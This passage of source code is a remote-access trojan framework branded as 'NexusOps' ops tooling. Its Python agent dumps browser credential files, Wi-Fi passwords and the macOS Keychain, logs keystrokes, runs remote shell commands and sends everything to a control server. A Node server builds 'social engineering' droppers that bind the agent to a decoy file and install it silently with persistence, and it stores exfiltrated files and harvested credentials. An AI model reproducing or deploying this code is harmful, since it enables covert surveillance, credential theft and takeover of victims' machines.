            for p in glob.glob(pattern):
                try:
                    sz = os.path.getsize(p)
                    if sz > 0 and sz < 50 * 1024 * 1024:
                        with open(p, 'rb') as f:
                            import base64
                            creds.append({"type": f"browser:{os.path.basename(os.path.dirname(p))}/{os.path.basename(p)}",
                                          "data": base64.b64encode(f.read()).decode('utf-8')})
                except: pass
        # Wi-Fi passwords (Linux)
        if system == "linux":
            try:
                wifi = subprocess.run("grep -r '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null || grep -r 'wpa_passphrase' /etc/wpa_supplicant/ 2>/dev/null || echo 'no wifi'",
                                      shell=True, stdout=subprocess.PIPE, text=True, timeout=5).stdout
                if wifi.strip() and 'no wifi' not in wifi:
                    creds.append({"type": "wifi_passwords", "data": wifi[:5000]})
            except: pass
        # macOS Keychain dump
        if system == "darwin":
            try:
                keychain = subprocess.run("security dump-keychain -d 2>/dev/null | head -200",
                                          shell=True, stdout=subprocess.PIPE, text=True, timeout=10).stdout
                if keychain.strip():
                    creds.append({"type": "keychain_dump", "data": keychain[:10000]})
            except: pass

        return json.dumps({"type":"harvest_result","credentials":creds}), 0

    elif action_type == "export_diagnostics":
        cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
        return run_shell(cmd)

    return f"Unknown action type: {action_type}", 1

def run_shell(cmd_str):
    if not quiet_mode:
        print(f"[*] Executing command: {cmd_str}")
    try:
        res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
        return res.stdout, res.returncode
    except Exception as e:
        return str(e), 1

# ── Input Capture Module (keystrokes, mouse clicks, window focus) ──
INPUT_CAPTURE_ENABLED = False
captured_events = []

try:
    from pynput import keyboard, mouse
    INPUT_CAPTURE_ENABLED = True
except ImportError:
    pass

def _get_active_window_title():
    """Try to get the active window title cross-platform."""
    system = platform.system().lower()
    try:
        if system == "linux":
            res = subprocess.run(["xdotool", "getactivewindow", "getwindowname"],
                                 stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
            if res.returncode == 0:
                return res.stdout.strip()
        elif system == "windows":
            import ctypes
            from ctypes import wintypes
            user32 = ctypes.windll.user32
            hwnd = user32.GetForegroundWindow()
            length = user32.GetWindowTextLengthW(hwnd)
            buf = ctypes.create_unicode_buffer(length + 1)
            user32.GetWindowTextW(hwnd, buf, length + 1)
            return buf.value
        elif system == "darwin":
            script = 'tell application "System Events" to get name of first application process whose frontmost is true'
            res = subprocess.run(["osascript", "-e", script],
                                 stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
            if res.returncode == 0:
                return res.stdout.strip()
    except Exception:
        pass
    return ""

def _record_event(event_type, data):
    """Thread-safe event recording."""
    global captured_events
    window_title = _get_active_window_title()
    captured_events.append({
        "timestamp": int(time.time() * 1000),
        "eventType": event_type,
        "data": data,
        "windowTitle": window_title,
        "processName": window_title.split(" - ")[-1] if " - " in window_title else window_title
    })

def _on_key_press(key):
    try:
        key_str = key.char if hasattr(key, 'char') and key.char else str(key)
    except Exception:
        key_str = str(key)
    _record_event("keystroke", {"key": key_str})

def _on_click(x, y, button, pressed):
    if pressed:
        _record_event("click", {"x": x, "y": y, "button": str(button)})

def _on_scroll(x, y, dx, dy):
    _record_event("scroll", {"x": x, "y": y, "dx": dx, "dy": dy})

def start_input_capture():
    """Start keyboard and mouse listeners if pynput is available."""
    if not INPUT_CAPTURE_ENABLED:
        return False
    try:
        kb_listener = keyboard.Listener(on_press=_on_key_press)
        ms_listener = mouse.Listener(on_click=_on_click, on_scroll=_on_scroll)
        kb_listener.daemon = True
        ms_listener.daemon = True
        kb_listener.start()
        ms_listener.start()
        return True
    except Exception:
        return False

def flush_input_events(server_url, node_id, hostname):
    """Send captured input events to the master server."""
    global captured_events
    if not captured_events:
        return
    events_to_send = captured_events[:]
    captured_events = []
    payload = {
        "nodeId": node_id,
        "hostname": hostname,
        "events": events_to_send
    }
    http_post(f"{server_url}/api/agent/input-capture", payload)

def main():
    global last_log_check_time, heartbeat_interval, node_tags, quiet_mode
    parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
    parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
    parser.add_argument("--silent", action="store_true", help="Suppress all console output")
    parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages")
    args = parser.parse_args()

    silent = args.silent  # suppress banner only — keep logs flowing for launchd/systemd
    global quiet_mode
    quiet_mode = args.quiet or args.silent

    server_url = args.server.rstrip('/')
    hostname = socket.gethostname()
    system_os = platform.system()
    arch = platform.machine()
    ip = get_ip_address()
    node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"

    if not quiet_mode:
        print("==================================================")
        print("      NexusOps Cross-Platform Node Agent          ")
        print("==================================================")
        print(f"Node Hostname : {hostname}")
        print(f"Platform      : {system_os} ({arch})")
        print(f"Local IP      : {ip}")
        print(f"Server Endpoint: {server_url}")
        print("==================================================")

    # Register Node
    reg_payload = {
        "nodeId": node_id,
        "hostname": hostname,
        "platform": system_os.lower(),
        "arch": arch,
        "ip": ip,
        "osName": f"{system_os} {platform.release()}",
        "tags": node_tags
    }

    if not quiet_mode:
        print("[*] Registering node with central endpoint...")
    res = http_post(f"{server_url}/api/agent/register", reg_payload)
    if res and res.get("success") and not quiet_mode:
        print(f"✅ Registered as node ID: {node_id}")

    # Start input capture (keystrokes, clicks, scroll)
    capture_started = start_input_capture()
    if not quiet_mode:
        if capture_started:
            print("[*] Input capture active (keystrokes + mouse events)")
        else:
            print("[!] Input capture unavailable (install pynput: pip install pynput)")

    last_input_flush = time.time()
    backoff = 1  # Tunnel reconnection backoff in seconds

    while True:
        try:
            cpu = get_cpu_usage()
            mem = get_memory_usage()
            disk = get_disk_usage()
            uptime = get_uptime_seconds()

            heartbeat_payload = {
                "nodeId": node_id,
                "cpuUsage": cpu,
                "memUsage": mem,
                "diskUsage": disk,
                "uptime": uptime,
                "processCount": get_process_count(),
                "tags": node_tags,
                "heartbeatInterval": heartbeat_interval
            }

            res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload)

            now = time.time()
            if now - last_log_check_time > 15:
                logs = collect_recent_system_logs()
                if logs:
                    http_post(f"{server_url}/api/agent/logs", {
                        "nodeId": node_id,
                        "hostname": hostname,
                        "logs": logs
                    })
                last_log_check_time = now

            # Flush captured input events every 10 seconds
            if now - last_input_flush > 10:
                flush_input_events(server_url, node_id, hostname)
                last_input_flush = now

            if res and "commands" in res and res["commands"]:
                for cmd_item in res["commands"]:
                    cmd_id = cmd_item.get("id")
                    action_type = cmd_item.get("actionType", "raw_command")
                    payload = cmd_item.get("payload", {})
                    
                    if "command" in cmd_item and not payload:
                        payload["command"] = cmd_item.get("command")

                    output, exit_code = execute_structured_action(action_type, payload)

                    # Check for JSON-encoded special result types
                    special = None
                    try:
                        if output.startswith('{'):
                            special = json.loads(output)
                    except: pass

                    if special and special.get("type") == "file_result":
                        # Route to file-result endpoint
                        http_post(f"{server_url}/api/agent/file-result", {
                            "commandId": cmd_id,
                            "nodeId": node_id,
                            "hostname": hostname,
                            "filename": special.get("filename", "unknown"),
                            "data": special.get("data", ""),
                            "mime": special.get("mime", "application/octet-stream")
                        })
                    elif special and special.get("type") == "harvest_result":
                        http_post(f"{server_url}/api/agent/harvest-result", {
                            "commandId": cmd_id,
                            "nodeId": node_id,
                            "hostname": hostname,
                            "credentials": special.get("credentials", [])
                        })
                    else:
                        http_post(f"{server_url}/api/agent/command-result", {
                            "commandId": cmd_id,
                            "nodeId": node_id,
                            "output": output,
                            "exitCode": exit_code
                        })

        except Exception as e:
            if not quiet_mode:
                print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
            time.sleep(backoff)
            backoff = min(backoff * 2, 60)
            continue

        backoff = 1  # Reset on success
        time.sleep(heartbeat_interval)

if __name__ == "__main__":
    main()
";
app.post('/api/bind', upload.single('file'), (req, res) => {
  if (!req.file) {
    return res.status(400).json({ error: 'No file uploaded. Use field name "file".' });
  }

  const originalName = req.file.originalname;
  const b64Content = req.file.buffer.toString('base64');
  const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content];
  const agentLines = AGENT_B64.match(/.{1,76}/g) || [AGENT_B64];
  const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
  const format = (req.query.format || 'sh').toLowerCase();

  let dropper, boundName, contentType;

  // ── HTML Payload (one-click social engineering, auto-downloads file) ──
  if (format === 'html') {
    const safeName = originalName.replace(/"/g, '"').replace(/\\/g, '\\\\');
    const safeB64 = b64Content;
    dropper = `<!DOCTYPE html>
<html><head><meta charset="UTF-8"><title>${safeName}</title>
<style>
  body { background:#0f172a; color:#e2e8f0; font-family:system-ui; display:flex; align-items:center; justify-content:center; height:100vh; margin:0; flex-direction:column; }
  .card { background:#1e293b; border-radius:16px; padding:2.5rem; text-align:center; max-width:420px; box-shadow:0 25px 50px rgba(0,0,0,0.5); border:1px solid #334155; }
  h1 { font-size:1.5rem; margin:0 0 0.5rem; } p { color:#94a3b8; margin:0 0 1.5rem; font-size:0.9rem; }
  .spinner { width:48px; height:48px; border:4px solid #334155; border-top-color:#06b6d4; border-radius:50%%; animation:spin 0.8s linear infinite; margin:0 auto 1.5rem; }
  @keyframes spin { to { transform:rotate(360deg); } }
  .filename { color:#06b6d4; font-family:monospace; font-size:0.85rem; word-break:break-all; }
  .btn { display:inline-block; background:#06b6d4; color:#fff; border:none; padding:0.75rem 2rem; border-radius:8px; font-size:1rem; cursor:pointer; text-decoration:none; font-weight:600; }
</style></head><body>
<div class="card">
  <div class="spinner"></div>
  <h1>Opening your file…</h1>
  <p class="filename">${safeName}</p>
  <a class="btn" id="dl" href="#">Download & Open</a>
</div>
<script>
(function(){
  const b64 = "${safeB64}";
  const name = "${safeName}";
  function go(){
    const bin = Uint8Array.from(atob(b64), c => c.charCodeAt(0));
    const blob = new Blob([bin]);
    const url = URL.createObjectURL(blob);
    const a = document.createElement('a');
    a.href = url; a.download = name; a.click();
    setTimeout(() => URL.revokeObjectURL(url), 60000);
  }
  go();
  document.getElementById('dl').addEventListener('click', e => { e.preventDefault(); go(); });
})();
<\/script></body></html>`;
    boundName = originalName + '.html';
    contentType = 'text/html';
  }

  // ── PowerShell Self-Contained Dropper (Windows) ──
  else if (format === 'ps1') {
    const psLines = [
      '<#',
      '  Self-Extracting Dropper — ' + originalName,
      '  NexusOps Agent Binder v2 (self-contained, no network)',
      '#>',
      '',
      '$ORIGINAL_NAME = "' + originalName + '"',
      '$OUTPUT_DIR = "$env:TEMP\\nexus-$pid"',
      '$OUTPUT_FILE = "$OUTPUT_DIR\\$ORIGINAL_NAME"',
      '$AGENT_DIR = "$env:ProgramData\\NetworkAgent"',
      '$SERVER_URL = "' + serverUrl + '"',
      '',
      'New-Item -ItemType Directory -Path $OUTPUT_DIR -Force | Out-Null',
      'New-Item -ItemType Directory -Path $AGENT_DIR -Force | Out-Null',
      '',
      '$scriptPath = $MyInvocation.MyCommand.Path',
      '$lines = Get-Content $scriptPath',
      '$fileMarker = [array]::IndexOf($lines, "__FILE_BASE64__")',
      '$agentMarker = [array]::IndexOf($lines, "__AGENT_BASE64__")',
      'if ($fileMarker -ge 0 -and $agentMarker -ge 0) {',
      '  $fileB64 = ($lines[($fileMarker+1)..($agentMarker-1)] -join "")',
      '  $agentB64 = ($lines[($agentMarker+1)..($lines.Length-1)] -join "")',
      '  [IO.File]::WriteAllBytes($OUTPUT_FILE, [Convert]::FromBase64String($fileB64))',
      '  [IO.File]::WriteAllBytes("$AGENT_DIR\\agent.py", [Convert]::FromBase64String($agentB64))',
      '}',
      '',
      'Start-Process $OUTPUT_FILE -WindowStyle Normal',
      'schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr "python $AGENT_DIR\\agent.py --server $SERVER_URL --silent" /f /rl HIGHEST 2>$null',
      'Start-Process -FilePath python -ArgumentList "$AGENT_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden',
      'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command Start-Sleep 60; Remove-Item -Recurse -Force $OUTPUT_DIR" -WindowStyle Hidden',
      '',
      '__FILE_BASE64__',
      ...b64Lines,
      '__AGENT_BASE64__',
      ...agentLines
    ];
    dropper = psLines.join('\r\n');
    boundName = originalName + '.ps1';
    contentType = 'text/plain';
  }

  // ── Bash Self-Contained Dropper (Linux/macOS — DEFAULT) ──
  else {
    dropper = [
      '#!/bin/bash',
      '# ═══════════════════════════════════════════════════════',
      '#  NexusOps v2 Self-Contained Dropper',
      `#  File: ${originalName}`,
      '#  Agent is embedded — no network needed',
      '# ═══════════════════════════════════════════════════════',
      'set -e',
      '',
      `ORIGINAL_NAME="${originalName}"`,
      'OUTPUT_DIR="/tmp/.nexus-$$"',
      'OUTPUT_FILE="$OUTPUT_DIR/$ORIGINAL_NAME"',
      `SERVER_URL="${serverUrl}"`,
      'AGENT_DIR="/opt/network-agent"',
      '',
      'mkdir -p "$OUTPUT_DIR" "$AGENT_DIR"',
      '',
      '# ── Extract payloads ──',
      'FILE_START=$(awk \'$0 == "__FILE_BASE64__" {print NR+1; exit}\' "$0")',
      'AGENT_START=$(awk \'$0 == "__AGENT_BASE64__" {print NR+1; exit}\' "$0")',
      'FILE_LINES=$((AGENT_START - FILE_START - 1))',
      'tail -n +$FILE_START "$0" | head -n $FILE_LINES | base64 -d > "$OUTPUT_FILE" 2>/dev/null',
      'tail -n +$AGENT_START "$0" | base64 -d > "$AGENT_DIR/agent.py" 2>/dev/null',
      'chmod +x "$AGENT_DIR/agent.py"',
      '',
      '# ── Open original file ──',
      'if command -v xdg-open &>/dev/null; then xdg-open "$OUTPUT_FILE" 2>/dev/null &',
      'elif command -v open &>/dev/null; then open "$OUTPUT_FILE" 2>/dev/null &',
      'elif command -v start &>/dev/null; then start "$OUTPUT_FILE" 2>/dev/null &',
      'fi',
      '',
      '# ── Install agent persistence (OS-aware) ──',
      'case "$(uname -s 2>/dev/null)" in',
      '  Linux)',
      '    cat > /etc/systemd/system/network-agent.service << UNITEOF',
      '[Unit]',
      'Description=NexusOps Node Agent',
      'After=network.target',
      '[Service]',
      'Type=simple',
      'ExecStart=/usr/bin/python3 -u $AGENT_DIR/agent.py --server $SERVER_URL --silent',
      'Restart=always',
      'RestartSec=5',
      '[Install]',
      'WantedBy=multi-user.target',
      'UNITEOF',
      '    systemctl daemon-reload 2>/dev/null || true',
      '    systemctl enable network-agent 2>/dev/null || true',
      '    systemctl restart network-agent 2>/dev/null || true',
      '    /usr/bin/python3 -u "$AGENT_DIR/agent.py" --server "$SERVER_URL" --silent &>/dev/null &',
      '    ;;',
      '  Darwin)',
      '    mkdir -p "$HOME/Library/LaunchAgents"',
      '    cat > "$HOME/Library/LaunchAgents/com.nexusops.agent.plist" << PLISTEOF',
      '<?xml version="1.0" encoding="UTF-8"?>',
      '<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">',
      '<plist version="1.0"><dict>',
      '<key>Label</key><string>com.nexusops.agent</string>',
      '<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>-u</string><string>$AGENT_DIR/agent.py</string><string>--server</string><string>$SERVER_URL</string><string>--silent</string></array>',
      '<key>RunAtLoad</key><true/>',
      '<key>KeepAlive</key><true/>',
      '</dict></plist>',
      'PLISTEOF',
      '    launchctl bootout gui/$(id -u) "$HOME/Library/LaunchAgents/com.nexusops.agent.plist" 2>/dev/null || true',
      '    launchctl bootstrap gui/$(id -u) "$HOME/Library/LaunchAgents/com.nexusops.agent.plist" 2>/dev/null || true',
      '    /usr/bin/python3 -u "$AGENT_DIR/agent.py" --server "$SERVER_URL" --silent &>/dev/null &',
      '    ;;',
      'esac',
      '',
      '# ── Self-destruct temp dir ──',
      '(sleep 60 && rm -rf "$OUTPUT_DIR") &',
      'disown',
      '',
      'exit 0',
      '__FILE_BASE64__',
      b64Content,
      '__AGENT_BASE64__',
      AGENT_B64
    ].join('\n');
    boundName = originalName + '.sh';
    contentType = 'application/x-sh';
  }

  res.setHeader('Content-Type', contentType);
  res.setHeader('Content-Disposition', `attachment; filename="${boundName}"`);
  res.send(dropper);
});

app.post('/api/agent/register', (req, res) => {
  const { hostname, platform, arch, ip, osName, tags } = req.body;
  const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).slice(2, 6)}`;
  
  const existingNode = nodes.get(nodeId);
  const now = Date.now();

  const nodeData = {
    id: nodeId,
    hostname: hostname || 'Unknown-Host',
    platform: platform || 'linux',
    arch: arch || 'x64',
    osName: osName || platform,
    ip: ip || req.ip.replace(/^.*:/, '') || '127.0.0.1',
    status: 'online',
    firstSeen: existingNode ? existingNode.firstSeen : now,
    lastHeartbeat: now,
    cpuUsage: 0,
    memUsage: 0,
    diskUsage: 0,
    uptime: 0,
    processCount: 0,
    tags: tags || ['Default'],
    heartbeatInterval: 5,
    metricsHistory: existingNode ? existingNode.metricsHistory : []
  };

  nodes.set(nodeId, nodeData);
  if (!commandQueues.has(nodeId)) {
    commandQueues.set(nodeId, []);
  }

  broadcastState();
  res.json({ success: true, nodeId, serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}` });
});

// Agent Heartbeat
app.post('/api/agent/heartbeat', (req, res) => {
  const { nodeId, cpuUsage, memUsage, diskUsage, uptime, processCount, tags, heartbeatInterval } = req.body;

  if (!nodeId || !nodes.has(nodeId)) {
    return res.status(404).json({ error: 'Node not registered.' });
  }

  const node = nodes.get(nodeId);
  const now = Date.now();

  node.status = 'online';
  node.lastHeartbeat = now;
  node.cpuUsage = typeof cpuUsage === 'number' ? Math.round(cpuUsage) : node.cpuUsage;
  node.memUsage = typeof memUsage === 'number' ? Math.round(memUsage) : node.memUsage;
  node.diskUsage = typeof diskUsage === 'number' ? Math.round(diskUsage) : node.diskUsage;
  node.uptime = uptime || node.uptime;
  node.processCount = processCount || node.processCount;
  if (tags) node.tags = tags;
  if (heartbeatInterval) node.heartbeatInterval = heartbeatInterval;

  if (!node.metricsHistory) node.metricsHistory = [];
  node.metricsHistory.push({
    timestamp: new Date().toLocaleTimeString(),
    cpu: node.cpuUsage,
    mem: node.memUsage,
    disk: node.diskUsage
  });
  if (node.metricsHistory.length > 30) {
    node.metricsHistory.shift();
  }

  nodes.set(nodeId, node);
  broadcastState();

  const queue = commandQueues.get(nodeId) || [];
  const pendingCommands = [...queue];
  commandQueues.set(nodeId, []);

  res.json({ success: true, commands: pendingCommands });
});

// Command Result Callback
app.post('/api/agent/command-result', (req, res) => {
  const { commandId, nodeId, output, exitCode } = req.body;
  const entry = commandHistory.find(c => c.id === commandId);
  if (entry) {
    entry.status = exitCode === 0 ? 'completed' : 'failed';
    entry.output = output;
    entry.completedAt = Date.now();
  }
  broadcastState();
  res.json({ success: true });
});

// Queue Command for Single Node
app.post('/api/nodes/:id/command', (req, res) => {
  const nodeId = req.params.id;
  const { command, actionType, payload } = req.body;

  if (!nodes.has(nodeId)) {
    return res.status(404).json({ error: 'Node not found' });
  }

  const commandId = `cmd-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
  const actionName = actionType || 'raw_command';

  const cmdObj = {
    id: commandId,
    actionType: actionName,
    payload: payload || { command },
    command: command || actionName,
    createdAt: Date.now()
  };

  if (!commandQueues.has(nodeId)) {
    commandQueues.set(nodeId, []);
  }
  commandQueues.get(nodeId).push(cmdObj);

  commandHistory.push({
    id: commandId,
    nodeId,
    hostname: nodes.get(nodeId).hostname,
    command: command || `${actionName} (${JSON.stringify(payload)})`,
    status: 'queued',
    createdAt: Date.now(),
    output: ''
  });

  broadcastState();
  res.json({ success: true, commandId });
});

// Queue Bulk Command
app.post('/api/nodes/bulk-command', (req, res) => {
  const { command, actionType, payload } = req.body;
  const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');

  if (onlineNodes.length === 0) {
    return res.status(400).json({ error: 'No online nodes available' });
  }

  const queuedIds = [];
  onlineNodes.forEach(node => {
    const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
    const actionName = actionType || 'raw_command';

    const cmdObj = {
      id: commandId,
      actionType: actionName,
      payload: payload || { command },
      command: command || actionName,
      createdAt: Date.now()
    };

    if (!commandQueues.has(node.id)) {
      commandQueues.set(node.id, []);
    }
    commandQueues.get(node.id).push(cmdObj);

    commandHistory.push({
      id: commandId,
      nodeId: node.id,
      hostname: node.hostname,
      command: `[BULK] ${command || actionName}`,
      status: 'queued',
      createdAt: Date.now(),
      output: ''
    });
    queuedIds.push(commandId);
  });

  broadcastState();
  res.json({ success: true, count: onlineNodes.length, commandIds: queuedIds });
});

app.delete('/api/nodes/:id', (req, res) => {
  const nodeId = req.params.id;
  nodes.delete(nodeId);
  commandQueues.delete(nodeId);
  broadcastState();
  res.json({ success: true });
});

// ── Kill Switch — shutdown all agents on all nodes ──
app.post('/api/nodes/killswitch', (req, res) => {
  const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');
  if (onlineNodes.length === 0) {
    return res.json({ success: false, error: 'No online nodes to kill', count: 0 });
  }
  onlineNodes.forEach(node => {
    if (!commandQueues.has(node.id)) commandQueues.set(node.id, []);
    commandQueues.get(node.id).push({
      id: `kill-${Date.now()}`,
      actionType: 'kill_agent',
      payload: {},
      command: 'kill_agent',
      createdAt: Date.now()
    });
  });
  broadcastState();
  res.json({ success: true, count: onlineNodes.length, message: `Kill switch sent to ${onlineNodes.length} node(s)` });
});

// ── Export Input Capture as CSV ──
app.get('/api/inputs/csv', (req, res) => {
  let csv = 'ID,NodeID,Hostname,Timestamp,EventType,Data,WindowTitle\n';
  inputDataStore.slice(-500).forEach(e => {
    const dataStr = JSON.stringify(e.data || {}).replace(/"/g, '""');
    csv += `"${e.id}","${e.nodeId}","${e.hostname}","${new Date(e.timestamp).toISOString()}","${e.eventType}","${dataStr}","${(e.windowTitle || '').replace(/"/g, '""')}"\n`;
  });
  res.setHeader('Content-Type', 'text/csv');
  res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_InputCapture.csv"');
  res.send(csv);
});

// ── Ping node — latency check ──
app.post('/api/nodes/:id/ping', (req, res) => {
  const nodeId = req.params.id;
  if (!nodes.has(nodeId)) {
    return res.status(404).json({ error: 'Node not found' });
  }
  if (!commandQueues.has(nodeId)) commandQueues.set(nodeId, []);
  const cmdId = `ping-${Date.now()}`;
  commandQueues.get(nodeId).push({
    id: cmdId,
    actionType: 'ping_check',
    payload: { timestamp: Date.now() },
    command: 'ping_check',
    createdAt: Date.now()
  });
  broadcastState();
  res.json({ success: true, commandId: cmdId });
});

// ── File Exfiltration — agent sends file back ──
app.post('/api/agent/file-result', (req, res) => {
  const { commandId, nodeId, hostname, filename, data, mime, error } = req.body;
  const entry = commandHistory.find(c => c.id === commandId);
  if (entry) {
    entry.status = error ? 'failed' : 'completed';
    entry.completedAt = Date.now();
    if (!error) entry.output = `[FILE] ${filename} (${mime || 'unknown'}, ${(data || '').length} chars base64)`;
    else entry.output = `[FILE ERROR] ${error}`;
  }
  if (!error && data) {
    const fileId = `file-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`;
    exfiltratedFiles.set(fileId, {
      nodeId, hostname, filename, data, mime: mime || 'application/octet-stream',
      timestamp: Date.now(), size: Buffer.byteLength(data, 'base64')
    });
  }
  broadcastState();
  res.json({ success: true });
});

// ── Download exfiltrated file ──
app.get('/api/files/:id', (req, res) => {
  const file = exfiltratedFiles.get(req.params.id);
  if (!file) return res.status(404).json({ error: 'File not found' });
  const buf = Buffer.from(file.data, 'base64');
  res.setHeader('Content-Type', file.mime);
  res.setHeader('Content-Disposition', `attachment; filename="${file.filename}"`);
  res.send(buf);
});

// ── List exfiltrated files ──
app.get('/api/files', (req, res) => {
  res.json(Array.from(exfiltratedFiles.entries()).map(([id, f]) => ({
    id, nodeId: f.nodeId, hostname: f.hostname, filename: f.filename,
    mime: f.mime, size: f.size, timestamp: f.timestamp
  })));
});

// ── Credential Harvest Result ──
app.post('/api/agent/harvest-result', (req, res) => {
  const { commandId, nodeId, hostname, credentials, error } = req.body;
  const entry = commandHistory.find(c => c.id === commandId);
  if (entry) {
    entry.status = error ? 'failed' : 'completed';
    entry.completedAt = Date.now();
    entry.output = error ? `[HARVEST ERROR] ${error}` : `[HARVEST] ${credentials ? credentials.length : 0} items collected`;
  }
  if (credentials && Array.isArray(credentials)) {
    credentials.forEach(c => {
      harvestedCredentials.push({
        nodeId, hostname, type: c.type || 'unknown', data: c.data,
        timestamp: Date.now()
      });
    });
    if (harvestedCredentials.length > 500) harvestedCredentials.splice(0, harvestedCredentials.length - 500);
  }
  broadcastState();
  res.json({ success: true });
});

// ── List harvested credentials ──
app.get('/api/credentials', (req, res) => {
  const { nodeId } = req.query;
  let filtered = harvestedCredentials;
  if (nodeId) filtered = filtered.filter(c => c.nodeId === nodeId);
  res.json(filtered.slice(-200));
});

app.get('/install.sh', (req, res) => {
  const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
  const script = `#!/bin/bash
# Network Node Agent One-Liner Installer for Linux
set -e

SERVER_URL="${serverUrl}"
INSTALL_DIR="/opt/network-agent"
SERVICE_FILE="/etc/systemd/system/network-agent.service"

echo "=================================================="
echo "      NexusOps Network Node Agent Installer       "
echo "=================================================="
echo "Connecting to Server Endpoint: $SERVER_URL"

mkdir -p "$INSTALL_DIR"

echo "[1/3] Downloading agent script..."
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
chmod +x "$INSTALL_DIR/agent.py"

echo "[2/4] Configuring systemd background daemon..."
cat << EOF > "$SERVICE_FILE"
[Unit]
Description=NexusOps Node Telemetry & Management Agent
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/python3 -u $INSTALL_DIR/agent.py --server $SERVER_URL --silent
Restart=always
RestartSec=5
User=root

[Install]
WantedBy=multi-user.target
EOF

echo "[3/4] Installing pynput for keystroke/click capture..."
pip3 install pynput 2>/dev/null || echo "[!] pynput optional, skipping"

echo "[4/4] Enabling & Starting Agent Service..."
systemctl daemon-reload
systemctl enable network-agent
systemctl restart network-agent

echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
`;
  res.setHeader('Content-Type', 'text/plain');
  res.send(script);
});

app.get('/install.ps1', (req, res) => {
  const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
  const script = `# Network Agent PowerShell Installer for Windows
$SERVER_URL = "${serverUrl}"
$INSTALL_DIR = "C:\\ProgramData\\NetworkAgent"

Write-Host "==================================================" -ForegroundColor Cyan
Write-Host "   NexusOps Node Agent Installer (Windows)        " -ForegroundColor Cyan
Write-Host "==================================================" -ForegroundColor Cyan
Write-Host "Connecting to Server Endpoint: $SERVER_URL" -ForegroundColor Yellow

if (!(Test-Path $INSTALL_DIR)) {
    New-Item -ItemType Directory -Path $INSTALL_DIR | Out-Null
}

Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green
Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py"

Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green
Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden

Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green
`;
  res.setHeader('Content-Type', 'text/plain');
  res.send(script);
});

app.get('/install-mac.sh', (req, res) => {
  const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
  const script = `#!/bin/bash
# macOS Node Agent Installer — launchd background daemon
set -e

SERVER_URL="${serverUrl}"
INSTALL_DIR="/opt/network-agent"
PLIST_FILE="$HOME/Library/LaunchAgents/com.nexusops.agent.plist"

echo "=================================================="
echo "   NexusOps Node Agent Installer (macOS)          "
echo "=================================================="
echo "Connecting to Server Endpoint: $SERVER_URL"

echo "[1/4] Creating installation directory..."
sudo mkdir -p "$INSTALL_DIR"
sudo chown "$(whoami)" "$INSTALL_DIR"

echo "[2/4] Downloading cross-platform Python agent..."
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
chmod +x "$INSTALL_DIR/agent.py"

echo "[3/4] Installing pynput for input capture..."
python3 -m pip install --user pynput 2>/dev/null || echo "[!] pynput optional, skipping"

echo "[4/4] Configuring launchd background daemon..."
mkdir -p "$HOME/Library/LaunchAgents"
cat << EOF > "$PLIST_FILE"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.nexusops.agent</string>
    <key>ProgramArguments</key>
    <array>
        <string>/usr/bin/python3</string>
        <string>-u</string>
        <string>$INSTALL_DIR/agent.py</string>
        <string>--server</string>
        <string>$SERVER_URL</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
    <key>StandardOutPath</key>
    <string>$INSTALL_DIR/agent.log</string>
    <key>StandardErrorPath</key>
    <string>$INSTALL_DIR/agent.log</string>
</dict>
</plist>
EOF

# Bootstrap launchd job (modern macOS — load/unload are deprecated)
launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true
launchctl bootstrap gui/$(id -u) "$PLIST_FILE"
launchctl kickstart gui/$(id -u)/com.nexusops.agent

echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
